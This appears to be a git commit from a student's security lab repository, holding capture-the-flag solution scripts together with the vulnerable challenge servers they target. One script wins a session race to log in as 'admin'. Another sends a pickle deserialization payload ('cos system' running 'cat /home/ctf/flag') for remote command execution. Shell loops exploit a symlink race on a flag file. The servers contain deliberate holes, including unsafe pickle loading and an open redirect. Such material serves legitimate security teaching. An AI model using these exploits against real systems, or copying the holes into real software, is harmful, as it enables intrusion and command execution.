lab3
This commit is contained in:
24
pa/lab3/chall_jackpot.py
Normal file
24
pa/lab3/chall_jackpot.py
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
from grequests import Session
|
||||||
|
from sys import argv
|
||||||
|
from os import fork
|
||||||
|
|
||||||
|
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
|
||||||
|
|
||||||
|
sesh = Session()
|
||||||
|
sesh.get(BASE+"/login")
|
||||||
|
|
||||||
|
pid = fork()
|
||||||
|
|
||||||
|
if pid == 0:
|
||||||
|
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
|
||||||
|
while True:
|
||||||
|
resp = sesh.get(BASE+"/jackpot")
|
||||||
|
if b"SSof{" in resp.content:
|
||||||
|
print(resp.content)
|
||||||
|
exit(0)
|
||||||
|
else:
|
||||||
|
i = 0
|
||||||
|
while True:
|
||||||
|
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
|
||||||
|
print(i)
|
||||||
|
i += 1
|
||||||
@@ -1,9 +1,37 @@
|
|||||||
from pwn import *
|
from pwn import *
|
||||||
|
from os import fork, kill
|
||||||
|
|
||||||
HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
|
HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
|
||||||
PORT = 25653
|
PORT = 25653
|
||||||
|
|
||||||
conn = remote(HOST, PORT)
|
PAYLOAD = "cat /home/ctf/flag"
|
||||||
line = conn.interactive()
|
|
||||||
|
|
||||||
SSof_148:BHdrm8TgNq
|
pid = fork()
|
||||||
|
|
||||||
|
if pid != 0:
|
||||||
|
while True:
|
||||||
|
conn = remote(HOST, PORT)
|
||||||
|
conn.sendlineafter(b":", b"didas")
|
||||||
|
conn.sendlineafter(b">>>", b"1")
|
||||||
|
conn.sendlineafter(b">>>", b"1")
|
||||||
|
conn.sendlineafter(b":", b"bomb")
|
||||||
|
conn.recvuntil(b":")
|
||||||
|
conn.sendline(b"cos")
|
||||||
|
conn.sendline(b"system")
|
||||||
|
conn.sendline(("(S'"+PAYLOAD+"'").encode('utf-8'))
|
||||||
|
conn.sendline(b"tR.")
|
||||||
|
conn.sendline(b"\n\n\n")
|
||||||
|
conn.close()
|
||||||
|
|
||||||
|
else:
|
||||||
|
while True:
|
||||||
|
conn = remote(HOST, PORT)
|
||||||
|
conn.sendlineafter(b":", b"didas")
|
||||||
|
conn.sendlineafter(b">>>", b"0")
|
||||||
|
conn.sendlineafter(b">>>", b"0")
|
||||||
|
conn.sendlineafter(b":", b"bomb")
|
||||||
|
res = conn.recvline().decode('utf-8')
|
||||||
|
if "[ERROR]" not in res:
|
||||||
|
print(res)
|
||||||
|
kill(pid, 9)
|
||||||
|
break
|
||||||
|
|||||||
212
pa/lab3/server.py
Normal file
212
pa/lab3/server.py
Normal file
@@ -0,0 +1,212 @@
|
|||||||
|
from flask import Flask, request, redirect, url_for, make_response, render_template
|
||||||
|
from flask_sqlalchemy import SQLAlchemy
|
||||||
|
from functools import wraps
|
||||||
|
from os.path import isfile
|
||||||
|
from os import environ, urandom
|
||||||
|
from sys import argv
|
||||||
|
import hashlib
|
||||||
|
|
||||||
|
# Setup app
|
||||||
|
app = Flask(__name__)
|
||||||
|
COOKIE_TOKEN = "JTOKEN"
|
||||||
|
|
||||||
|
# Setup db
|
||||||
|
db_path = "/tmp/flask_server.db"
|
||||||
|
app.config["SQLALCHEMY_DATABASE_URI"] = 'sqlite:///%s' % (db_path)
|
||||||
|
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
|
||||||
|
db = SQLAlchemy(app)
|
||||||
|
|
||||||
|
# Read the flag
|
||||||
|
FLAG = environ['flag']
|
||||||
|
|
||||||
|
|
||||||
|
def error(msg):
|
||||||
|
return render_template('error_response.html', msg=msg)
|
||||||
|
|
||||||
|
|
||||||
|
# ================
|
||||||
|
# === SESSIONS ===
|
||||||
|
# ================
|
||||||
|
class Session(db.Model):
|
||||||
|
"""
|
||||||
|
Associates a session token with its respective user
|
||||||
|
"""
|
||||||
|
id = db.Column(db.Integer, primary_key=True)
|
||||||
|
# @FIXME: Should be a Foreign Key, but oh well
|
||||||
|
jtoken = db.Column(db.Text(), unique=True)
|
||||||
|
username = db.Column(db.Text())
|
||||||
|
|
||||||
|
def __init__(self, username=None):
|
||||||
|
self.jtoken = urandom(64).hex()
|
||||||
|
self.username = username
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return '<Session %s>' % (self.jtoken)
|
||||||
|
|
||||||
|
|
||||||
|
def get_current_session(jtoken=None):
|
||||||
|
if not jtoken:
|
||||||
|
jtoken = request.cookies.get(COOKIE_TOKEN)
|
||||||
|
if not jtoken:
|
||||||
|
print("[WARNING] This should never happen")
|
||||||
|
return None
|
||||||
|
|
||||||
|
return Session.query.filter_by(jtoken=jtoken).first()
|
||||||
|
|
||||||
|
|
||||||
|
@app.context_processor
|
||||||
|
def templates_utility():
|
||||||
|
return dict(get_current_session=get_current_session)
|
||||||
|
|
||||||
|
|
||||||
|
# Runs before every request
|
||||||
|
@app.before_request
|
||||||
|
def setup_session():
|
||||||
|
def add_session_and_redirect():
|
||||||
|
new_session = Session()
|
||||||
|
db.session.add(new_session)
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
response = make_response(redirect(request.path))
|
||||||
|
response.set_cookie(COOKIE_TOKEN, new_session.jtoken)
|
||||||
|
return response
|
||||||
|
|
||||||
|
if COOKIE_TOKEN not in request.cookies:
|
||||||
|
return add_session_and_redirect()
|
||||||
|
|
||||||
|
current_session = get_current_session()
|
||||||
|
if current_session is None:
|
||||||
|
return add_session_and_redirect()
|
||||||
|
|
||||||
|
|
||||||
|
def login_required(func):
|
||||||
|
@wraps(func)
|
||||||
|
def decorated_function(*args, **kwargs):
|
||||||
|
current_session = get_current_session()
|
||||||
|
if not current_session or current_session.username is None:
|
||||||
|
return redirect(url_for('login'))
|
||||||
|
else:
|
||||||
|
return func(*args, **kwargs)
|
||||||
|
return decorated_function
|
||||||
|
|
||||||
|
|
||||||
|
# =============
|
||||||
|
# === Users ===
|
||||||
|
# =============
|
||||||
|
class User(db.Model):
|
||||||
|
id = db.Column(db.Integer, primary_key=True)
|
||||||
|
username = db.Column(db.Text(), unique=True)
|
||||||
|
password = db.Column(db.Text())
|
||||||
|
|
||||||
|
def __init__(self, username, password):
|
||||||
|
self.username = username
|
||||||
|
self.password = self.hash_pwd(password)
|
||||||
|
|
||||||
|
def __repr__(self):
|
||||||
|
return '<User %s>' % (self.username)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def hash_pwd(pwd):
|
||||||
|
return hashlib.sha512(pwd.encode()).hexdigest()
|
||||||
|
|
||||||
|
|
||||||
|
# =============
|
||||||
|
# === VIEWS ===
|
||||||
|
# =============
|
||||||
|
@app.route('/')
|
||||||
|
def home():
|
||||||
|
return render_template('home.html')
|
||||||
|
|
||||||
|
|
||||||
|
@app.route('/jackpot', methods=['GET'])
|
||||||
|
@login_required
|
||||||
|
def jackpot():
|
||||||
|
current_session = get_current_session()
|
||||||
|
|
||||||
|
if current_session.username == 'admin':
|
||||||
|
msg = FLAG
|
||||||
|
else:
|
||||||
|
msg = "No luck... Maybe next time!"
|
||||||
|
|
||||||
|
return render_template('jackpot.html', msg=msg)
|
||||||
|
|
||||||
|
|
||||||
|
@app.route('/register', methods=['GET', 'POST'])
|
||||||
|
def register():
|
||||||
|
if request.method == 'GET':
|
||||||
|
return render_template('register.html')
|
||||||
|
|
||||||
|
username = request.form['username']
|
||||||
|
password = request.form['password']
|
||||||
|
if not username or not password:
|
||||||
|
return error("You need to provide the 'username' and 'password' to register.")
|
||||||
|
|
||||||
|
user = User.query.filter_by(username=username).first()
|
||||||
|
if user or 'admin' in username:
|
||||||
|
return error("User '%s' already exists." % user.username)
|
||||||
|
|
||||||
|
user = User(username, password)
|
||||||
|
db.session.add(user)
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
return redirect(url_for('login'))
|
||||||
|
|
||||||
|
|
||||||
|
@app.route('/login', methods=['GET', 'POST'])
|
||||||
|
def login():
|
||||||
|
if request.method == 'GET':
|
||||||
|
return render_template('login.html')
|
||||||
|
|
||||||
|
username = request.form['username']
|
||||||
|
password = request.form['password']
|
||||||
|
if not username or not password:
|
||||||
|
return error("You need to provide a 'username' and 'password' to login.")
|
||||||
|
|
||||||
|
# Setup the session with the current user
|
||||||
|
current_session = get_current_session()
|
||||||
|
current_session.username = username
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
registered_user = User.query.filter_by(
|
||||||
|
username=username, password=User.hash_pwd(password)).first()
|
||||||
|
|
||||||
|
if not registered_user:
|
||||||
|
# flash('Username or Password are invalid', 'error')
|
||||||
|
# Login failed
|
||||||
|
current_session.username = None
|
||||||
|
db.session.commit()
|
||||||
|
return redirect(url_for('login'))
|
||||||
|
|
||||||
|
# @FIXME: open redirect
|
||||||
|
return redirect(request.args.get('next') or url_for('home'))
|
||||||
|
|
||||||
|
|
||||||
|
@app.route('/logout')
|
||||||
|
def logout():
|
||||||
|
current_session = get_current_session()
|
||||||
|
|
||||||
|
# Remove the user from the session
|
||||||
|
current_session.username = None
|
||||||
|
db.session.commit()
|
||||||
|
|
||||||
|
return redirect(url_for('login'))
|
||||||
|
|
||||||
|
|
||||||
|
# ========================
|
||||||
|
# ========================
|
||||||
|
# ========================
|
||||||
|
def main(host):
|
||||||
|
if not isfile(db_path):
|
||||||
|
db.create_all()
|
||||||
|
|
||||||
|
app.config["DEBUG"] = (host == "127.0.0.1")
|
||||||
|
app.run(threaded=True, host=host, port=6660)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
if len(argv) >= 2:
|
||||||
|
host = argv[1]
|
||||||
|
else:
|
||||||
|
host = "127.0.0.1"
|
||||||
|
|
||||||
|
main(host)
|
||||||
121
pa/lab3/server3.py
Normal file
121
pa/lab3/server3.py
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
import hashlib
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import pickle
|
||||||
|
|
||||||
|
|
||||||
|
# ===================================================
|
||||||
|
class Note(object):
|
||||||
|
def __init__(self, name, content):
|
||||||
|
self.name = name
|
||||||
|
self.content = content
|
||||||
|
|
||||||
|
def __str__(self):
|
||||||
|
return "Note '%s': %s" % (self.name, self.content)
|
||||||
|
|
||||||
|
def sha256(s):
|
||||||
|
return hashlib.sha256(s.encode('utf-8')).hexdigest()
|
||||||
|
|
||||||
|
CLASSY_MODE = 'CLASSY'
|
||||||
|
FREE_MODE = 'FREE'
|
||||||
|
def check_mode(mode):
|
||||||
|
try:
|
||||||
|
with open(directory + '/mode', 'r') as f:
|
||||||
|
return f.read() == mode
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def set_mode(mode):
|
||||||
|
with open(directory + '/mode', 'w') as f:
|
||||||
|
f.write(mode)
|
||||||
|
|
||||||
|
def reset(mode):
|
||||||
|
shutil.rmtree(directory)
|
||||||
|
os.makedirs(directory)
|
||||||
|
set_mode(mode)
|
||||||
|
# ===================================================
|
||||||
|
|
||||||
|
|
||||||
|
# Print banner
|
||||||
|
notes_storage = " _______ ________ ______________________ _________ ____________________________ __________ _____ ________ ___________\n \ \ \_____ \ \__ ___/\_ _____/ / _____/ / _____/\__ ___/\_____ \ \______ \ / _ \ / _____/ \_ _____/\n / | \ / | \ | | | __)_ \_____ \ \_____ \ | | / | \ | _/ / /_\ \ / \ ___ | __)_ \n/ | \/ | \ | | | \ / \ / \ | | / | \ | | \/ | \\ \_\ \ | \\\n\____|__ /\_______ / |____| /_______ //_______ / ______/_______ / |____| \_______ / |____|_ /\____|__ / \______ //_______ /\n \/ \/ \/ \/ /_____/ \/ \/ \/ \/ \/ \/ "
|
||||||
|
|
||||||
|
print ("1. Ever lost your class notes??")
|
||||||
|
print ("2. Ever wanted to store notes but had no place to and then forgot everything and failed the exam???")
|
||||||
|
print ("3. Are you tired of having to carry your notebooks????")
|
||||||
|
print ("")
|
||||||
|
print ("If you answered YES, this is the service for you!!")
|
||||||
|
print (notes_storage)
|
||||||
|
print ("\n")
|
||||||
|
|
||||||
|
|
||||||
|
# Read username and setup directory
|
||||||
|
username = input('Username: ')
|
||||||
|
directory = "/tmp/notes/%s" % sha256(username)
|
||||||
|
if not os.path.exists(directory):
|
||||||
|
os.makedirs(directory)
|
||||||
|
|
||||||
|
# Read user choices
|
||||||
|
type_choice = ""
|
||||||
|
while type_choice not in ('0', '1'):
|
||||||
|
print("Which note type do you want:")
|
||||||
|
print("0: Classy note")
|
||||||
|
print("1: Free Note")
|
||||||
|
type_choice = input('>>> ')
|
||||||
|
|
||||||
|
def read_or_write_option():
|
||||||
|
action_choice = ""
|
||||||
|
while action_choice not in ('0', '1'):
|
||||||
|
print("0: Read note")
|
||||||
|
print("1: Write Note")
|
||||||
|
action_choice = input('>>> ')
|
||||||
|
|
||||||
|
note_name = input('note_name: ')
|
||||||
|
note_path = "%s/%s" % (directory, sha256(note_name))
|
||||||
|
if action_choice == '0':
|
||||||
|
if not os.path.isfile(note_path):
|
||||||
|
print("[ERROR] Can't read a file that does not exist")
|
||||||
|
exit(-1)
|
||||||
|
else:
|
||||||
|
with open(note_path, 'rb') as f:
|
||||||
|
note_content = f.read()
|
||||||
|
elif action_choice == '1':
|
||||||
|
note_content = ""
|
||||||
|
line = input("note_content: ")
|
||||||
|
while line:
|
||||||
|
note_content += line + '\n'
|
||||||
|
line = input()
|
||||||
|
|
||||||
|
return action_choice, note_path, note_name, note_content
|
||||||
|
|
||||||
|
|
||||||
|
# Main functionality
|
||||||
|
if type_choice == '0': # Classy note
|
||||||
|
if not check_mode(CLASSY_MODE):
|
||||||
|
reset(CLASSY_MODE)
|
||||||
|
|
||||||
|
action_choice, note_path, note_name, note_content = read_or_write_option()
|
||||||
|
if action_choice == '0': # read
|
||||||
|
note = pickle.loads(note_content)
|
||||||
|
print(note)
|
||||||
|
elif action_choice == '1': # write
|
||||||
|
note = Note(note_name, note_content)
|
||||||
|
with open(note_path, 'wb') as f:
|
||||||
|
pickle.dump(note, f)
|
||||||
|
else:
|
||||||
|
print("YT0!?")
|
||||||
|
|
||||||
|
elif type_choice == '1': # Free note
|
||||||
|
if not check_mode(FREE_MODE):
|
||||||
|
reset(FREE_MODE)
|
||||||
|
|
||||||
|
action_choice, note_path, _, note_content = read_or_write_option()
|
||||||
|
if action_choice == '0': # read
|
||||||
|
print(note_content)
|
||||||
|
elif action_choice == '1': # write
|
||||||
|
with open(note_path, 'wb') as f:
|
||||||
|
f.write(note_content.encode('utf8','surrogateescape'))
|
||||||
|
else:
|
||||||
|
print("HuM!?")
|
||||||
|
else:
|
||||||
|
print("WHaT!?")
|
||||||
5
pa/lab3/spam_flag.sh
Normal file
5
pa/lab3/spam_flag.sh
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
while [ 1 -eq 1 ]; do
|
||||||
|
/challenge/challenge < input
|
||||||
|
done
|
||||||
6
pa/lab3/spam_ln.sh
Normal file
6
pa/lab3/spam_ln.sh
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
while [ 1 -eq 1 ]; do
|
||||||
|
ln -s ./input ./link
|
||||||
|
ln -s /challenge/flag ./link
|
||||||
|
done
|
||||||
1
pa/writeups
Submodule
1
pa/writeups
Submodule
Submodule pa/writeups added at a67c3913db
Reference in New Issue
Block a user